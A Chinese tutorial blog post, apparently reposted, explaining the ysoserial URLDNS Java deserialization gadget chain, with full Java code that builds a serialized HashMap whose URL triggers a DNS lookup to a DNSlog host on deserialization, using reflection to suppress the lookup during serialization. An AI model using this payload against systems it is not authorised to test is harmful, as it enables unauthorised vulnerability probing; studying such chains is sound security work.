URLDNS链

news2024/11/14 19:24:37

听说这个链子是最简单的链子之一了,但是却是来来回回看了好多遍才勉强看明白。

在 ysoserial 中我们可以看见链子是这样的:

*Gadget Chain:

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

简单流程:

1.HashMap接收一个类O(URL类)

2.类O(URL类)的hashCode()后续的一串链子可以发起DNS请求

3.HashMap的readObject刚好可以调用O.hashCode();

现在我们来编写类来观察如何触发DNS请求

package packet1;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest{
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://25d13c3b.dns.1433.eu.org");
        Class<? extends URL> clazz = url.getClass();
        hashmap.put(url, 1);
        serialize(hashmap);
    }
}

这个类可以进行序列化,按照正常来说序列化的过程是不会进行DNS请求的,但是我们查看DNSlog平台:

发现序列化的时候就发起请求了,这样有几个非常不好的地方:

  1. 影响我们判断是否有URLDNS这个漏洞存在(因为我们是想要反序列化的时候触发)
  2. 最重要的是其实在序列化之后URL类里面的hashCode已经被改变了,反序列化的时候并不会触发

下图是URL类中的hashCode()方法;

这里只有当hashCode不为负一的时候才会走handler发起DNS请求

hashCode在初始化的时候已经被赋值成-1了:

但是我们序列化之后值已经被改变成为handler.hashCode

那么就有一个疑问,序列化的时候是怎么触发的?

我们跟进put:

发现会调用hash函数。跟进hash:

发现调用handler,并且此时hashCode的值被改变

跟进hashcode:

调用getProtocol(),调用getHost():

其他更细节的我就没跟进,但是我们需要知道调用URL的hashCode()之后,并且hashCode的值不为-1就会发起DNS请求。所以我们可以通过反射技术来改变值,以此来达到序列化的时候不进行DNS请求,但是反序列化的时候会进行DNS请求

所以让我们来改进代码:

序列化代码:

package packet1;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest{
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://25d13c3b.dns.1433.eu.org");
        Class<? extends URL> clazz = url.getClass();
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 1234);
        hashmap.put(url, 1);
        field.set(url, -1);
        serialize(hashmap);
    }
}

在put之前我们改变url的hashCode值不为-1,put之后我们把url的hashCode改为-1,之后再对hashmap进行序列化。

反序列化代码:

package packet1;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerializeTest {
    public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unSerialize("ser.bin");
    }
}

经过测试之后,序列化的时候不会发起DNS请求,反序列化之后可以发起DNS请求.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/57592.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HTML这一篇就够啦~

HTML这一篇就够啦HTML1、基础认知2、排版标签2.1 标题标签2.2 段落标签2.3 换行标签2.4 水平线标签3、文本格式化标签4、媒体标签4.1 图片标签4.2 路径4.3 音频文件4.4 视频文件5、链接标签6、列表标签、6.1 无序列表&#xff08;最常用&#xff09;6.2 有序列表&#xff08;偶…

2021.06青少年软件编程(Python)等级考试试卷(三级)

2021.06青少年软件编程(Python)等级考试试卷(三级) 一、单选题(共25题,每题2分,共50分) 1.关于open()函数的参数,下列描述正确的是?( D ) A. "w+" 以十六进制格式打开一个文件只用于写入 B. "r+"打开一个文件用于读写。文件指针将会放在文件…

ZMQ之自杀的蜗牛模式和黑箱模式

一、检测慢订阅者&#xff08;自杀的蜗牛模式&#xff09; 在使用发布-订阅模式的时候&#xff0c;最常见的问题之一是如何处理响应较慢的订阅者。理想状况下&#xff0c;发布者能以全速发送消息给订阅者&#xff0c;但现实中&#xff0c;订阅者会需要对消息做较长时间的…

springboot如何增加 application.yml配置文件

新建springboot 项目&#xff0c;默认项目的配置文件为application.properties。 需要将application.properties 修改为application.yml配置文件。 注意&#xff1a; 我发现直接将application.properties文件重命名为application.yml。 新的application.yml没有配置功能的属…

Compose 动画艺术探索之属性动画

本篇文章是此专栏的第三篇文章&#xff0c;如果想阅读前两篇文章的话请点击下方链接&#xff1a; Compose 动画艺术探索之瞅下 Compose 的动画Compose 动画艺术探索之可见性动画 Compose的属性动画 属性动画是通过不断地修改值来实现的&#xff0c;而初始值和结束值之间的过…

Java项目:ssm实验室设备管理系统

作者主页&#xff1a;源码空间站2022 简介&#xff1a;Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 项目介绍 ssm实验室设备管理系统。前台jsplayuieasyui等框架渲染数据、后台java语言搭配ssm(spring、springmvc、mybatis、maven) 数据库mysql5.7、8.0版…

java - 数据结构,双向链表 - LinkedList

一、双向链表 &#xff08;不带头&#xff09; 无头双向链表&#xff1a;在Java的集合框架库中LinkedList底层实现就是无头双向循环链表 双向链表 和 单向链表的区别&#xff0c;就在于 双向 比 单向 多个 一个前驱地址。而且 你会发现 正因为有了前驱地址&#xff0c;所以所…

centos 安装和卸载 webmin

在centos里安装webmin 选择安装最新版本的安装包 官方下载路径可以查看下载版本http://download.webmin.com/download/yum/ wget http://download.webmin.com/download/yum/webmin-2.010-1.noarch.rpm如果安装提示 错误: 无法验证 prdownloads.sourceforge.net 的由 “/CUS…

15年架构师:再有面试官问你Kafka,就拿这篇学习笔记怼他

写在前面 Kafka是一个高度可扩展的消息系统&#xff0c;它在LinkedIn的中央数据库管理中扮演着十分重要的角色&#xff0c;因其可水平扩展和高吞吐率而被广泛使用&#xff0c;现在已经被多家不同类型的公司作为多种类型的数据管道和消息系统。 kafka的外在表现很像消息系统&a…

【图像分割】基于PCA结合模糊聚类算法FCM实现SAR图像分割附matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

[附源码]计算机毕业设计疫情网课管理系统Springboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

代码随想录刷题Day53 | 1143. 最长公共子序列 | 1035. 不相交的线 | 53. 最大子数组和

代码随想录刷题Day53 | 1143. 最长公共子序列 | 1035. 不相交的线 | 53. 最大子数组和 1143. 最长公共子序列 题目&#xff1a; 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 一个字…

创建Hibernate项目与实现一个例子(idea版)

文章目录创建Hibernate项目一、前提准备二、创建项目三、实现一个例子创建Hibernate项目 一、前提准备 准备Hibernate开发必需的jar包。准备数据库的驱动jar包。准备junit.jar包。 这些包你可以去官网下载&#xff0c;也可以下载我已下载好的(本人目前使用的)。 https://pan…

【机器学习】评价指标 : 准确率,查准率与查全率

引言 在机器学习中&#xff0c;有几个评价指标&#xff0c;今天专门来介绍一下。之前的学习中主要是看模型&#xff0c;学算法&#xff0c;突然有一天发现&#xff0c;机器学习中的一些基本概念还是有点模糊&#xff0c;导致不知道如何综合评价模型的好坏。 这篇文章主要介绍如…

HTML5期末考核大作业:基于Html+Css+javascript的网页制作(化妆品公司网站制作)

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

【强化学习论文合集 | 2018年合集】一. ICML-2018 强化学习论文

强化学习(Reinforcement Learning, RL),又称再励学习、评价学习或增强学习,是机器学习的范式和方法论之一,用于描述和解决智能体(agent)在与环境的交互过程中通过学习策略以达成回报最大化或实现特定目标的问题。 本专栏整理了近几年国际顶级会议中,涉及强化学习(Rein…

我的数学学习回忆录——一个数学爱好者的反思(二)

早点关注我&#xff0c;精彩不错过&#xff01;上回说到我在数学学习过程中走的种种弯路&#xff0c;相关内容请戳&#xff1a;我的数学学习回忆录——一个数学爱好者的反思&#xff08;一&#xff09;那在这样坎坷的旅程中&#xff0c;有没有给我带来意外惊喜&#xff0c;是不…

C++中的类型转换

文章目录一、隐式类型转换二、显式类型转换三、c风格的类型转换一、隐式类型转换 隐式类型转换&#xff0c;顾名思义&#xff0c;就是没有明显的声明要进行类型转换&#xff0c;隐式类型转换有可能造成数据精度的丢失&#xff0c;所以通常所做的类型转换都是从size小的数据到si…

哈夫曼编码(Huffman coding)

哈夫曼编码哈夫曼编码简介发展历史思想示例不足哈夫曼编码 简介 哈夫曼编码(Huffman Coding)&#xff0c;又称霍夫曼编码&#xff0c;是一种编码方式&#xff0c;哈夫曼编码是可变字长编码(VLC)的一种。Huffman于1952年提出一种编码方法&#xff0c;该方法完全依据字符出现概…

[附源码]JAVA毕业设计计算机在线学习管理系统-(系统+LW)

[附源码]JAVA毕业设计计算机在线学习管理系统-&#xff08;系统LW&#xff09; 目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项…